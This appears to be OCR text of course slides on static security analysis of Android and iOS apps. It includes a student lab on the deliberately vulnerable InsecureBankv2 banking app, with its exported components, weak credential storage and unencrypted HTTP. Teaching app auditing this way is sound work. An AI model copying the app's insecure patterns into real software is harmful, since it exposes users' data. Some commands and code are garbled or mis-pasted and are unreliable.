permission as the application that provides it.

The general process to follow in order to perform this task is the following:

To conduct a search of parts of the application that use certain permissions
(showPermissions with Androguard).

To check whether the classes in which permissions are used are exported and/or
require additional permissions to be accessed.
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¢4 Use of Sensitive APIs

10S
= iOS’sensitive API include calls to:
Cryptographic methods: encryption, signature, and access to the KeyChain.

Access to files: input/output to the file system.

Delegates: standard methods that the components of the application receive (such as
AppDelegate) when there is not much memory left.

Internet connections: URL creation and load.
Clipboard: calls to the clipboard to copy and paste between applications.

= The Instropy tool (that requires jailbreak) allows users to check whether an
application uses any of those calls.

= In the case of systems in which jailbreak is not available, it is possible to use
Intropy’s sources to locate the sensitive apps and conduct manual searches via
Hopper.
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¢4 Use of Sensitive APIs

10S
= The different methods of each class are defined in the following link:
https://github.com/iISECPartners/Introspy-iOS/tree/master/src/hooks

Parameters Method
Class

allTracer *tracer = [[CallTracer alloc] initwithClass:@"C" andMethod:@"CCCryptorCreate™];

[tracer addArgFromPlistObject:[NsNumber numberWithUnsignedInt: {unsigned int) op] withkKey:@"op"];
[tracer addérgFromPlistObject:[NSNumber numberWithUnsignedInt: {unsigned int) alg] withkKey:@"alg"]
[tracer addArgFromPlistObject:[NsNumber numberWithUnsignedInt: {unsigned int) options] withkKey:8"o
[tracer add&rgFromPlistObject:[PlistObjectConverter convertCBuffer: key withLength: keyLength] wit
[tracer addArgFromPlistObject:[PlistObjectConverter convertCBuffer: iv withLength: getIViength{alg
[tracer addArgFromPlistObject:[NSNumber numberWithUnsignedInt: {unsigned int) cryptorRef] withkEey:
tracer addReturnValueFromPlistObject: [NSHumber numberkithUnsignedInt:origResult]];

[traceStorage saveTracedCall: tracer];

Mtracer releace]:

Return
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++S Network Connections

Introduction

The static analysis may provide information on connections and URL that an
application is connected to. However, it is not possible to draw definitive
conclusion until the application is execute. In addition, it is necessary to
complement it with a dynamic analysis of the application.

The inspection of connections that an application makes to the outside are
mainly used with two purposes.
Check the information elements that are transmitted to the outside.
o By inspecting data sent in each request.
Check the protection measures implemented on that transmission.

o By inspecting the type of connection, URL it is connected to, etc.

Generally, the inspection of network connections is limited to HTTP connections,
but it is important to check the existence of other connections.

It is important to take into consideration that connections to certain Cloud/based
services are encapsulated via specific libraries.
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++S Network Connections

Android

= |tis possible to inspect HTTP connections:
By looking for strings that define the URL that the services are connected to.
By searching calls to connection API.

= |tis possible to conduct both searches in multiple ways. In this case:
URL search:
>a, d, dx = AnalyzeAPK("WhatsApp.apk")

— It loads the apk, extract the dex, and analyses it. Then, it stores the results of the process in a, d and
dx.

> tainted = dx.tainted variables.get strings ()
— It extracts the application’s strings.
> for i in tainted:
if 'http' in 1[0].get info():
print i[0].get info()
print i[0] .show paths (d)

It searches through all the strings to find the one that contains the “http” string and it prints
out its full value and its location within the classes hierarchy.
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++S Network Connections

Android

= Search of calls to the API for URL or sockets.

In Java, the input/output is handled via InputStream and OutputStream.
Searching calls to the getinputStream and getOutputStream methods will allow us to
discover possible locations in which sockets or http connections are being created in
order to inspect it later.

>a, d, dx = AnalyzeAPK("WhatsApp.apk")

It loads the apk, extract the dex, and analyses it; stores the results of the process in a, d, and dx.

> show Paths(d, dx.tainted packages.search methods (".",
"getInputStream", "."))

Ljaya/net/URLConnection; ->getInputStream

-zallLjgva/net/URLConnection; ) [B (Bxa) ---=

1: class that makes the call. 2: method that makes the call. 3: method.

Among the results obtained, connections to normal URL, SSL sockets, and normal
sockets are shown.

It is possible to perform the same operation by searching “getOutputStream’.
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++S Network Connections

10S
= The following classes are part of the connection on iOS: NSURL,
NSURLConnection and NSURLRequest With their mutable versions.

= |n Instrospy https://github.com/iISECPartners/Introspy-iOS/tree/master/src/hooks

= The files that specify network calls are described below:
NSHTTPCookieHooks.xm
NSURLConnectionHooks.xm
NSURLConnectionDelegateProx.m
NSURLCredentialHooks.xm

= Such files include calls to methods such as:
sendSynchronousRequest:returningResponse:error:
initWithRequest:delegate:
initWithRequest:delegate:startImmediately:

continueWithoutCredentialForAuthenticationChallenge

= Such methods may be searched in the binary via Hopper.
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++S Network Connections

10S
= In Hopper, it is possible to make a search via strings such as SSL included as a
part of the methods.

< |2 D | A|lC|P | U
1+ || ey
0, 8SL Q

b Tag Scope

-[TransportLayerProtectionVC sendUsingSSLPinning:]
-[TransportLayerProtectionVC isSSLPinning]
-[TransportLayerProtectionVC setlsSSLPinning:]
_RNOpenSSLCryptorGetkey

= The search of strings may also provide relevant data regarding connections
performed by an application.

= Another interesting aspect is the search of strings such as “http” and “https”.
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++S Network Connections

10S
= In Hopper it is possible to check the location in which a method is used through
the search of strings.

= The expression to be searched is written and the XREF of the found element is

SeleCted peePARR1ABS4fe2l db "start", @ ; XREF=8x18879c8b@
pRePARB1ABS4Te2T db "showAlertWithMessage:", @ ; XREF=@x18@879c8bB
@PPeReR1AA54Teld db "setIsSSLPinning:", @ : XREF=0x1eel79c8ce
paepRRel1ARs4Tede db "requestWithURL:cachePolicy:timeoutInterval:", @ ; XREF=8x18879cBcB
paepaRelABs4TeTa db "connectionWithRequest:delegate:", @ ; XREF=0x18879c8d@
ppeeepaleps4fela db "isSSLPinning"”, @ ; XREF=8x18879c8dB8
pgepegeleasdfead db "protectionSpace", @ ; XREF=0x10879cB8el
faepeeel1aes54feby db "serverTrust", @ ; XREF=0x18879c8eB
peoeRRR1ABS4fec3 db "pathForResource:ofType:", @ ; XREF=@x18879c8f@
peeeARR1ABS4fedb db "datawWithContentsOfFile:", @ ; XREF=8x18879c8f8
pRo@ARR1ABS4TeT3 db "isEqualToData:", @ ; XREF=8x18879c98@

= From the “Navigate” menu.

References To Highlighted Word...

References From Highlighted Word...

= As aresult, methods that perform a call to that method are obtained.

Address Value

0x100037b90 (-[TransportLayerProtectionVC sendUsingS... mov rsi, gword [ds:0x10079c8c0]
Ox100037e1d (-[TransporiLayerProtectionVC connection...  mov rsi, gword [ds:0%x10079c8c0]
Ox10003712f (-[TransportLayerProtectionVC connection:w... mowv rsi, gword [ds:0x10079c8c0]
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¢+$ Further Relevant Elements

Android

= The same method use in the search —and later http and sockets connections
analysis— may be used to search further relevant data.

= |tis only necessary to substitute search keys used by other searches of interest
for the platform.

= Examples of search keys that may be used:
To discover whether credentials are stored:

o “username” and variations (user, u:, user_id, etc.).
o “password” and variations (pass, passwd, auth_token, etc.).
o Calls to “getSharedPreferences” for the storage of options.
To look for possible files created during the execution of the app:
o “.db” to look for database files.
o “credentials”.

o Methods that include the word “write”, etc.
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¢+$ Further Relevant Elements

Android

= Examples of search keys that may be used:
For the identification of webViews in the application:

o “loadURL”, “setContentView’, “loadData’, “setJavascriptEnabled’ methods.

To discover information leakages through by using the system’s logs:

” NN NN “_ "

o v, “d”, 1", "w”, and “e” methods of the log class. Also “print” methods of the PrintStream
class (used in System.out.print).

To discover the type of information that is transferred to a given intent:
o “putExtra” and “putExtras” methods.

= Many of such coincidences will not provide information directly.

= While the code is inspected, other actions can be performed to facilitate future
actions such as:

Add breakpoints for the dynamic analysis.
Conduct an in-depth analysis of the code file selected during the search.
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¢+$ Further Relevant Elements

10S
= The search of strings and methods —like on Android— may be very useful to
identify other elements of the system.

= Examples of search keys that may be used:
To discover whether credentials are stored:

o “username” and variations (user, u:, user_id, etc.).
o “password” and variations (pass, passwd, auth_token, etc.).
o Calls to “NSUserDefaults” for the storage of options.
To look for possible files created during the execution of the app:
o “.db” to look for database files.
o “credentials”.
o Methods that include the word “write”, etc.
o Strings with operations in SQL language: (SELECT, INSERT, etc.).
o Use of the NSLog class for the logs.
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¢4 Tools

Automatic

= There are multiple automatic tools used to conduct the static analysis of binary
files.

= They are used to automatize many of the tasks performed during the analysis.

= As in other environments, the results obtained by these tools do not have to be
100 % accurate. The following results may be presented:

False negatives: undetected failures.
o The tool is not prepared to detect them.
o The tool may detect them, but it does not properly do it.

False positives: false positives: failures that the tool establishes as existing, but that
are actually unreal.

= Therefore:

It is not possible to limit the security analysis to the use of such automatic tools.
It is necessary to check that all the detected failures do really exist.
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¢4 Tools

Android

Qark is a tool developed by LinkedIn
that performs an automatic analysis of
APK files.

It shows some of the possible
vulnerabilities that may affect the
application and is also able to create
exploit tools to demonstrate them.

Qark is available in Github:
https://github.com/linkedin/gark

However, it is not included in Santoku
Linux by default.

In the following slides, the process
required to install and execute this
tool is described.
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¢4 Tools

Android

= Quark - Installation
Create a folder called Qark in Santoku:
> mkdir gark
> cd gark
Clone the Github repository in the Qark directory:
>git clone https://github.com/linkedin/gark.git

Access the Qark folder and execute the following script:
> cd gark
> python gark.py

The user will be asked to download Android SDK.
Even if it is already installed, accept it not to interfere with the installation.
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¢4 Tools

Android

= Qark - Use

First of all, the user will be ask whether he or she wants to analyse an APK file or the
code of an application.

In case that the APK option is selected, the tool will provide the possibility of writing a
path or extract the APK from a device via adb.

Once Qark has access to the APK, it will conduct the security analysis by inspecting
the manifest and decompiling the application code.

The results obtained by the utility should be used as a guide and should never be
considered as definitive and complete.
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¢4 Tools

I0S

Given the protections that iOS applications implement, the only viable solutions

for the automatic scanning of applications require jailbroken devices.

INalyzer is a tool by AppSec Labs used for the static and dynamic analysis of
I0S applications.

This unit is only focused on static analysis.

In order to install iNalyzer, it is only necessary to add the http://appsec-
labs.com/cydia repository to the Cydia’s repository, following the same
instructions used to install older repositories.

Once the repository is loaded, the system console is accessed via SSH:
>cd /Applications/iAnalyzer.app

> ./iNalyzer

It is necessary to use the browser in order to have access to the results of the
execution: http://ip_iphone:5544
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¢4 Tools

Summary

= The group of tools used in each platform for the static analysis is presented
below as a summary.

= Android
Apktool: apk files assembly and disassembly, including the fic.
Androguard: reverse engineering and code inspection.
Qark: tool for the automatic analysis of apk files.

= |0S
Clutch: tool used to decrypt protected binaries.
Hopper: tool for reverse engineering and binary modification.
INalyzer: tool used for the automatic analysis of iOS applications.
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¢¢$ Static Analysis Laboratories

Introduction

In this section of the unit, two laboratories will be carried out in order to
practically display all the information that may be obtained through the static
analysis of applications.

The analysis will be performed on two different vulnerable applications (based on
Android and i0S) that have been developed by the community as a support for
the learning of cybersecurity on both platforms.

While the analysis is generally conducted on executable files, in this case, the
source code will be used to deal with the different existing issues.

The static analysis conducted in this section is not a definitive analysis and it
should be complemented with a dynamic analysis of applications and a forensic
analysis of elements created by such applications that is covered in unit 4.
“Forensic Analysis of Mobile Environments”.

Procedures and practices used to mitigate issues found within the laboratories
are reviewed in unit 5: “Secure development of mobile applications”.
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¢¢$ Static Analysis Laboratories

Procedure

= The procedure to follow for each application is described below:
Preparation of the binary file.
Listing of components and extraction of general information of the application.
Verification of permissions and components that use it.
Search of misconfiguration issues in the binary file.
Search of credential storage.
Research on the use of network connections.
Search of information leakage to the system’s logs.

= Once the analysis is finished, a brief report-summary that includes the results of
such analysis shoud be written.
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¢¢$ Static Analysis Laboratories

Tasks

= The analysis process described in the last slide is
organised into tasks.

= Tasks are part of a work that students should
carry out on their own.

= |n order to motivate learning, tasks are divided
into two essential parts:

Motivation and description of the tasks to perform,
including the type of results expected.

Procedure to carry out the task and expected
results.

= Both parts are described in different slides.

= This is intended for students to try to perform the
task with no access to the procedure.

=  Students will be able to use the previously
described procedure in order to check the
solution and to solve possible doubts regarding
the topic.
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_¢+o Static Analysis of an Android Application

Introduction

= |n this laboratory, the static
analysis of a vulnerable Android
application will be conducted.

= The structure of the laboratory has
been divided into the following
sections:

Description of the application to
analyse

Preparation of the environment.

Analysis.
Conclusions of the analysis.

LR
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+4$ Static Analysis of an Android Application

Vulnerable Application

= Insecure Bank is an Android application for the learning of vulnerabilities on
Android.

= Available at:
https://github.com/dineshshetty/Android-InsecureBankv2
= |t emulates a banking application with multiple vulnerabilities.
= In order to install it:
Open the Github link and click “Download ZIP”.

Download ZIP

32 on Nov 23, 2015

sincibe__ %


https://github.com/dineshshetty/Android-InsecureBankv2

+4$ Static Analysis of an Android Application

Preparation of the Environment

= Afolder called “static_lab_android” should be created in Santoku in the
documents directory.

> cd Documents

>mkdir static lab android

= Clone the repository:

>git clone https://github.com/dineshshetty/Android-
InsecureBankv2.git

> cd Android-InsecureBankv?

= The key elements of the repository are the following:
InsecureBankv2.apk: InsecureBankv2.apk: the apk file to analyse.

InsecureBankv2/: directory including the source code.
o Open it with Android Studio.
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_#0 Static Analysis of an Android Application

Preparation of the Binary |

= In this task, the binary will be prepared for the following analysis tasks that will be
performed during the laboratory.

Task
Use Apktool to unpack the InsecureBank2.apk file.

Expected result
As a result, a folder including the application’s resources, the manifest and
the source code decompiled in smali should be obtained.
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_#0 Static Analysis of an Android Application

Preparation of the Binary |

Solution

» Access the directory in which the apk file is stored and use Apktool with

the d option:
> cd Android-InsecureBankv?2

> apktool d InsecureBankvZ.apk —-o decoded bank
 The decoded_bank directory will be automatically created and the

Apktool results will be stored there.
» The use of such directory avoids the extracted files from the apk to mix

with the originals ones of the application.
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_#0 Static Analysis of an Android Application

Preparation of the Binary I

= The result obtained in the last stage is partly made up of files that have been

created (via reverse engineering) by Apktool, based on compiled and optimized
files from the apk.

Task

Compare the files obtained with the source code available in the Android
Studio project and list the files generated by Apktool, as well as those that
are different from the original version.

Expected result

The result obtained should be a list of files that were not stored in the
original distribution of the application, but are included in the Apktool result.
The student should describe the utility of each file, within the binary of the
application. This list should also include those files that have been modified.
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+4$ Static Analysis of an Android Application

Preparation of the Binary I

Solution

o . & =

L . app gradle build.gradle gradle.prope gradlew  gradlew.bat
Original files: rties
hs_err_pid22 InsecureBan local.proper replay pid22 settings.gra

123.log kv2.iml ties 123.log dle

src app.iml app- app- build.gradle hs_err_pid19
& ” . debug.apk release.apk 425.log
App” folder:

proguard- replay pid19
rules.pro 425.log

Inside of “src”: o

androidTesk main
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_#0 Static Analysis of an Android Application

Preparation of the Binary I

Solution

Inside of “main”: E E .

java AndroidMani ic_launcher-
fest.xml web.png

- - .- .-

. “ ”, drawable menu mipmap- mipmap- mipmap-
mipmap- mipmap- values values- roundbutto roundedrect
xxhdpi xxxhdpi w820dp n.xml angle.xml

Inside of java: Java source code files organised into packets.
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+4$ Static Analysis of an Android Application

Preparation of the Binary I

Solution

Files created by Apktool:

“‘App” folder:

drawable-  drawable-

|drtl-mdpi-v4  drtl-xhdpi-
v4

drawable-  drawable-
xhdpi-v4 xxhdpi-v4

-

E

menu mipmap-
hdpi-v4
raw values

m m B E

res smali AndroidMani apktool.yml

fest.xml

color-v11 drawable  drawable-  drawable-

hdpi-v4  Idrtl-hdpj-

E
B
E

drawable-  drawable- drawable- drawable-
|drtl-xxhdpi- Idrtl- mdpi-v4 tvdpi-vd
v4 xxxhdpi-va

drawable- layout layoutv17  layoutv21
xxxhdpi-v4

E
=
E
-

ipmap- mipmap- mipmap-
pi-vd xxhdpi-v4  xxxhdpi-v4

values-af values-am values-ar values-bg
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_#0 Static Analysis of an Android Application

Preparation of the Binary I

Solution

smali folder:

original folder:

original folder:

android com
META-INF  AndroidMani
Fest.xml

0 8 E

CERT.RSA CERT.5F MANIFEST M
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_#0 Static Analysis of an Android Application

Preparation of the Binary I

Solution
Differences:

Apart from the app’s resources, the “res’folder of the apk file includes
resources of the operative system.

The original project has the Java code in app/src, while the Apktool
decompiled is stored in smali, in the smali folder.

The original project includes multiple gradle configuration files for the
compilation of the project.

The original folder extracted from the apk file includes the certificate and
signatures of the application as well as the androidManifest.xml file,
which is encrypted in order to optimize the reading in non-legible formats.
The legible manifest is located in the root of the folder created by Apktool.
The apktool.yml file is a log file that includes the operation performed by
Apktool.
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+4$ Static Analysis of an Android Application

Preparation of the Binary lll

= Then, the Java code is created based on code in smali. In addition, such code
created is compared with the original one.

Task
Use dex2jar and JD-GUI tools to rebuild the java code from the apkfile. Analyse the
differences existing in comparison with the original source code files.

Expected result
The result obtained should be a hierarchy of folders (packets) and Java files with
some differences regarding the code of the original project.

sincibe__ @



+4$ Static Analysis of an Android Application

Preparation of the Binary lll

Solution

» Execute dex2jar on the apk file:
> cd Android-InsecureBankv?2

> dex2Z2jar InsecureBankv2.apk
* Open JD-GUI and select the .jar file created in the previous stage.

* Java Decompiler - ChangePassword.class -+ x
File Edit Mavigate Search Help

=2 ® 5

WhatsApp_dex2jar.jar | InsecureBankv2_dex2jarjar [ -

® B3 android.support

Al

ChangePassword.class &

v
& com package com.android.insecurebankv2;
¥ % android.insecurebankv2
» [J] BuildConfig #/import android.app.Activity;
* [0 :
» [f CryptoClass ¥ub11|: class ChangePassword extends Activity
* [1] DoLogin private static final String PASSWORD PATTERN = "{(7=.
*  [J] DoTransfer Button changePassword button;
>[I FilePrefactivity EditText changePassword text;
» [ LoginActivity pr:_wate Matcher matcher;
X private Pattern pattern;
®  [J] MyBroadCastReceiver String protocol = "http://";
[N MyWebViewClient BufferedReader reader;
®  [J] PostLogin string result;
» R SharedPreferences serverDetails;
. Strinn caruvarin — "r.
B [J] TrackUserContentProvider

sincibe_

102



+4$ Static Analysis of an Android Application

Preparation of the Binary lll

Solution

« Verify that it was not possible to translate back certain methods and

sections from some files into Java.

() Java Decompiler - DoTransfer.class -+
File Edit MNavigate Search Help
= @85 &
WhatsApp_dex2jarjar InsecureBankv2_dex2jarjar
* £ android.support 4| DoLogin.class DoTransfer.class ¥ »
¥ # com 1
¥ f# android.insecurebankv2 1
»  [J] BuildConfig
* [J) changePassword // ERROR // ) .
» [3] CryptoClass ¥ub11: String doInBackground(String[] paramArray0fString)
» [ DoLogin // Byte code:
g mw // 8: new 45 org/apache/http/impl/client/DefaultHttpClient
»  [J] FilePrefActivity £/ 3t dup
» [ LoginActivity ‘,:ﬁ : ;Ziztisgecial 46 org/apache/http/impl/client/DefaultHttpClient:<
* [ MyBroadCastReceiver //  B: new 48 org/apache/http/client/methods/HttpPost
» (1] MyWebViewClient //  11: dup
»  [J] PostLogin // 12: new 58  java/lang/StringBuilder
P DR /7 15: dup
. /f 16: invokespecial 51  java/lang/StringBuilder:<init= ()V
> [J] TrackUserContentProvider //  19: aload 0
* [ viewstatement /f 20: getfield 11 com/android/insecurebankv2/DoTransfer$RequestDoGet:
»  [J] WrongLogin /f  23: getfield 57 com/android/insecurebankv2/DoTransfer:protocol Lj:
> google /f  26: invokevirtual 61  java/lang/StringBuilder:append (Ljava/lang/s
/7 29: aload_@
/f 30: getfield 11 com/android/insecurebankv2/DoTransfer$RequestDoGets
/f 33: getfield 64 com/android/insecurebankv2/DoTransfer:serverip Lj:
/7 36: invokevirtual 61  java/lang/StringBuilder:append (Ljava/lang/s
£¢__30: 1dr RR

4

®.
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+4$ Static Analysis of an Android Application

Elements of the Application

= Then, analyse the components of the application by using the information of the
manifest.

Task

Identify all the elements of the application, according to their description in the
manifest.

Expected result

The result obtained should be a list of all the elements stated by the application and

their correspondent type (Activities, Services, Content Provider or Broadcast
Receiver).
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+4$ Static Analysis of an Android Application

Elements of the Application

Solution
It is possible to obtain the components of the application from the manifest.
» Activities
o LoginActivity (main activity)
FilePrefActivity
DoLogin
PostLogin
WrongLogin
DoTransfer
ViewStatement
o ChangePassword
« Services
o None
« ContentProviders
o TrackUserContentProvider

 BroadcastReceviers
o MyBroadcastReceiver

O O O O O O
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_#0 Static Analysis of an Android Application

Elements of the Application

= Some broadcast receivers may have been programmatically registered in the
code.

Task

Identify all the broadcast receivers that have been dynamically registered in
the code by using Androguard.

Expected result
A list of broadcast receivers dynamically registered.
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+4$ Static Analysis of an Android Application

Elements of the Application

Solution
* In order to discover the Broadcast Receivers that have been created

automatically, it is necessary to open Androguard’s console first.
> androlyze.py -s
* Load the file
> a, d, dx = AnalyzeAPK("WhatsApp.apk")

« Display the calls to the registerReceiver method.
> show Paths (d, dx.tainted packages.search methods(".",
"getInputStream", "."))

* All the calls are made via Google library co
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_#0 Static Analysis of an Android Application

Permissions

= Then, verify the permissions used by the application and where each of them is
used.
Task

List all the permissions used by the application as well as the code location
in which they are used.

Expected result

A list of permissions, together with calls made to the API by the app

belonging to each permission (in addition to the file in which the call is
made).
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+4$ Static Analysis of an Android Application

Permissions

Solution
List of permissions obtained from the manifest of the application:
« INTERNET

* WRITE EXTERNAL STORAGE
* SEND SMS

* USE CREDENTIALS

* GET ACCOUNTS

* READ PROFILE

* READ CONTACTS

* READ PHONE STATE

* READ EXTERNAL STORAGE
* READ CALL LOG

« ACCESS COARSE LOCATION
* ACCESS NETWORK LOCATION
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+4$ Static Analysis of an Android Application

Permissions

Solution

« Androguard can be used to obtain the location in the application in which each
permission is used.

* Once the file is loaded, the following call should be made:

> show Permissions (dx)

« The first aspect to take into account is the existence of multiple permissions that
have not been shown by the application (FACTORY_TEST, etc.).

« Such calls are made by Google’s libraries included in the application; however, our
application does not have to make them necessarily.

« The permissions that are used by the application’s code are presented below:
* READ PHONE STATE

* SEND SMS
« READ log
e INTERNET
« However, it is possible that the application use indirectly defined permissions via
Google libraries’ methods.
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+4$ Static Analysis of an Android Application

Permissions

Solution
* READ PHONE STATE

o Used in ChangePassword$SRequestChangePasswordTaskS1.

o lItis an inner class that belongs to the ChangePassword activity.
* SEND SMS

o Used in a BroadcastReceiver MyBroadCastReceiver.
* READ log

o Used in the PostLogin activity.
 INTERNET

o lItis used in DoLogin and DoTransfer.
o They are activities of the application (application elements task).
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_#0 Static Analysis of an Android Application

Misconfiguration Issues

It is possible to search misconfiguration issues in the application itself, by using
the information extracted from the permissions, the application’s components

and manifest.

Task

|dentify all the possible issues that may affect the configuration of
components of the application.

Expected result

A list that includes misconfiguration issues of the application, as well as
possible misconfiguration issues (manifest) that its components may have.
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+4$ Static Analysis of an Android Application

Misconfiguration Issues

Solution
* The Content Provider is exported, but it does not require any

permission to be accessed. Other applications could access contents

<provider android:authorities="com.android.insecurebankv2.TrackUserContentProvider" android:exported="true"
android:name="com.android.insecurebankv2.TrackUserContentProvider"/>

 The PostLogin activity is accessible from other applications and uses

the READ 1oapermission: therefore. it mav lead to a data leakaae to
<activity android:exported="true" android:label="@string/title activity post login" android:name="com.android.insecurebankv2 PostLogin"/>

UuiIct appliivauluvl io.

* The DoTransfer activity has access to the Internet and can be accessed

<activity android:exported="true" android:label="@string/title activity do transfer"
android:name="com.android.insecurebankv2.DoTransfer"/>
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+4$ Static Analysis of an Android Application

Misconfiguration Issues

Solution
« MyBroadCastReceiver IS accessible by other applications and is also
able to send SMS messages. It could be used to send SMS messages.

<receiver android:exported="true" android:name="com.android.insecurebankv2.MyBroadCastReceiver">
—<intent-filter>

<action android:name="theBroadcast"/>
<fintent-filter>
</receiver=

* The activity ChangePassword is accessible from other applications.
Besides using the permission, which makes it exposed to other
applications, the name of the activity suggests that it could be used to

pnrfn.rm eancitiva artinne .
<activity android:exported="true" android:label="@string/title activity change password"
android:name="com.android.insecurebankv2.ChangePassword"/>
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_#0 Static Analysis of an Android Application

Credentials Storage

= |tis important to verify the types of storage used by the application in order to
check whether they are used to store credentials.

Task

Verify the use of the different types of storage in the application, and check
whether there is a possibility for such storage systems to be used for
credentials storage.

Expected result
A list including the different storage mechanisms used, a description of data
stored in them, and the security configuration of the storage mechanisms.

sincibe__ W



+4$ Static Analysis of an Android Application

Credentials Storage

Solution

« The main storage systems existing in Android are presented below:
SharedPreferences, SD card, and internal storage in the application’s
directory.

SharedPreferences

« In order to verify the use of SharedPreferences, it is necessary to check

whether the “getSharedPreferences” method has been used in any class.
> show Paths(d, dx.tainted packages.search methods (".",
"getInputStream", "."))

« Among the results obtained, the following calls belong to elements of the

appllcatlon
MyBroadCastReceiver; ->onReceive
* DoLogin$RequestTask;->saveCreds
* DoTransfer$RequestDoGets2;->doInBackground
* DoTransfer$RequestDoTransferTask;->doInBackground
e LoginActivity;->fillData

« JD-GUI or the smali code should be used to inspect the code.
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+4$ Static Analysis of an Android Application

Credentials Storage

Solution

In the call to the “getSharedPreferences” method, the value of the second
parameter indicates how the preference file is created.
http://developer.android.com/reference/android/content/Context.html#M
ODE_PRIVATE
These are the possible modes, among others:
- MODE_PRIVATE=0
- MODE_WORLD_READABLE =1
- MODE_WORLD _WRITABE =1
If the code of each call is verified via JD-GI or smali:
* |InMyBroadCastReceiver;->onReceive IS 1.
In DoLogin$SRequestTask; ->saveCreds is 0.
In DoTransfer$SRequestDoGets2; ->doInBackground is 0.
In DoTransfer$RequestDoGets2; ->doInBackground is 0.
* InLoginActivity;->fillData isO.
The Broadcast Receiver exposes the preference file content.
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+4$ Static Analysis of an Android Application

Credentials Storage

Solution
« Furthermore, if data stored there is reviewed, (fillData method of the
LoginActivity), the following image is displayed:

SharedPreferences localSharedPreferences = getSharedPreferences("mySharedPreferences", 0);
String strl = localSharedPreferences.getString("EncryptedUsername”, null);
S5tring str2 = localSharedPreferences.getString("superSecurePassword”, null);
if ((strl != null) && (str2 != null}))
1
bytel[] array0fByte = Base6d.decode(strl, 08);
try
{
this.usernameBasefdByteString = new Stringlarray0fByte, "UTF-8");
this.Username Text = ((EditText)findviewById(2131558520));
this.Password Text = ((EditText)findViewById(2131558521));
this.Username Text.setText(this.usernameBasefdByteString);
String str3 = new CryptoClass().aesDeccryptedString(str2);
this.Password Text.setText(str3);
return;

* The user is encrypted in Base64, no security of any kind.

« The password is stored encrypted, but it may be unencrypted with a class
that does not receive any parameter. CryptoClass is checked in order to
verify that the password is written in the application’s code itself.
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+4$ Static Analysis of an Android Application

Credentials Storage

Solution

SD card

* In order to check whether any file of the SD card is storing elements, it is
necessary to verify if there is any call to methods in order to obtain the

directory of the card.
> show Paths (d, dx.tainted packages.search methods(".",
"getExternalFilesDir", "."))
> show Paths (d, dx.tainted packages.search methods(".",
"getExternalStorageDirectory", "."))

« The second call gives back two elements within the code of the app.

com/android/insecurebankv2/DoTransfersRequestDoTransferTasks$l;-=run()V (@x47a)
o/File;

com/android/insecurebankvz/ViewStatement; -=onCreate(Landroid/os/Bundle; )V (8
y(JLjava/io/File;
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+4$ Static Analysis of an Android Application

Credentials Storage

Solution
 Check the code of ViewStatement.

Webview localWebView = (WebView)findviewById(2131558530);

localWebView.loadUrl("file://" + Environment.getExternalStorageDirectory() + "/Statements " + this.uname + ".html");
localWebView.getSettings().setJavaScriptEnabled(true);

localWebView.getSettings().setSaveFormData(true);

localWebView.getSettings().setBuiltInZoomControls(true);

localWebView. setWebViewClient (new MyWebViewClient());

localWebView. setWebChromeClient (new WebChromeClient());
return;

« The SD card is being used for html files, including financial information.
« Check the code of DoTransferSRequestDoTransfer $1 (smali).

line 220

restart localv3 # "status":Ljava/lang/string;
new-instance v4, Ljava/lang/StringBuilder;
invoke-direct {v4}, Ljava/lang/stringBuilder;-><init>()v

invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;

move-result-object v5
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+4$ Static Analysis of an Android Application

Credentials Storage

Solution

Internal storage

* The most frequent methods used for the internal storage are presented
below:

> show Paths(d, dx.tainted packages.search methods (".",
"openFileOutput", "."))

> show Paths(d, dx.tainted packages.search methods (".",
"getFilesDir", "."))

> show Paths (d, dx.tainted packages.search methods (".",
"getDir", "."))

* In this case, all the results belong to Google libraries’ elements.
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_#0 Static Analysis of an Android Application

Network Connections

* Itis possible to identify connections that the application will make and obtain a
first approach to their security by using the static analysis.

Task
|dentify all the connections made by the application to external services
through the Internet. Issues related to each connection should be described.

Expected result

A list including all the connections that an application makes to the Internet
and its configuration (use of SSL, validation of the SSL certificate in the
server, etc.).
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+4$ Static Analysis of an Android Application

Network Connections

Solution
* Various methods should be used to obtain data on the connections made:

» Verification of API with access to permissions:
> show Permissions (dx)

* The following data is obtained:
* ChangePassword$RequestChangePasswordTask; ->postData Creates a
DefaultHttpClient
* DoLogin$RequestTask;->postData Ccreatesa DefaultHttpClient
* DoTransferSRequestDoGets2;->doInBackground creates a
DefaultHttpClient
* DoTransferSRequestDoTransferTask;->doInBackground creates a

DefaultHttpClient

* In order to facilitate the analysis of each call, the code obtained via JD-GUI should be
used. The type of URL that is being called will be inspected.
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+4$ Static Analysis of an Android Application

Network Connections

Solution

In ChangePassword$SRequestChangePasswordTask, the following code is
displayed:

DefaultHttpClient localDefaultHttpClient = new DefaultHttpClient();

HttpPost localHttpPost = new HttpPost(ChangePassword.this.protocol + ChangePassword.t
ArrayList localArrayList = new ArrayList(2);

localArrayList.add(new BasicNameValuePair("username", ChangePassword.this.uname));
localArraylList.add(new BasicNameValuePair("newpassword", ChangePassword.this.changePa

- n - T 1 e -

If one pays attention to the beginning of the class in order to check the value of the
protocol variable, the result is that it is HTTP:

private Pattern pattern;

String protocol = "http://";

BufferedReader reader;

String result;
SharedPreferences serverDetalls:

Regarding the rest of connections, the same plan is performed.
As a conclusion, in the four cases, sensitive information is being sent via
unencrypted protocols.
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+4$ Static Analysis of an Android Application

Network Connections

Solution
» Various methods should be used to obtain data on the connections
made:
« Search of strings.
« Search “http” and “https”.

> for 1 1n tainted:
if 'http' in 1[0].get info():
print 1[0].get info()
print 1[0].show paths(d)
» The “Http” search provides the same classes as in the last case as a
result.

* The “hitps” search does not give back any result apart from Google’s
libraries.
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+4$ Static Analysis of an Android Application

Network Connections

Solution
« Then, itis necessary to conduct a search of calls to sockets’ specific APIs:

getinputStream and getOutputStream:
> show Paths (d, dx.tainted_packages.search_methods(".",
"getInputStream", "."))

» It provides the result corresponding to:
Lcom/android/insecurebankv2/PostLogin; ->doesSUexist ()Z2 (0x38) —--->
Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;

* When inspecting the code, one notes that the Runtime is being used to execute a
command directly on the system, in order to check whether it is possible to access
to the administrator user. Such type of behaviours should be removed from the
app.

« getOutputStream does not provide results apart from Google’s libraries.

« To sum up, in this task, it has been detected that all the http connections made are
unencrypted.

« The execution of a command via console has also been detected.
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_#0 Static Analysis of an Android Application

Information Leakage to Logs

= The developer uses the application’s log to verify the proper functioning and to
debug the application during the development cycle.

= Sensitive data may probably be leaked through logs.

Task

Locate calls to Android’s logging APl and verify that the information
transmitted to the log is not sensitive.

Expected result

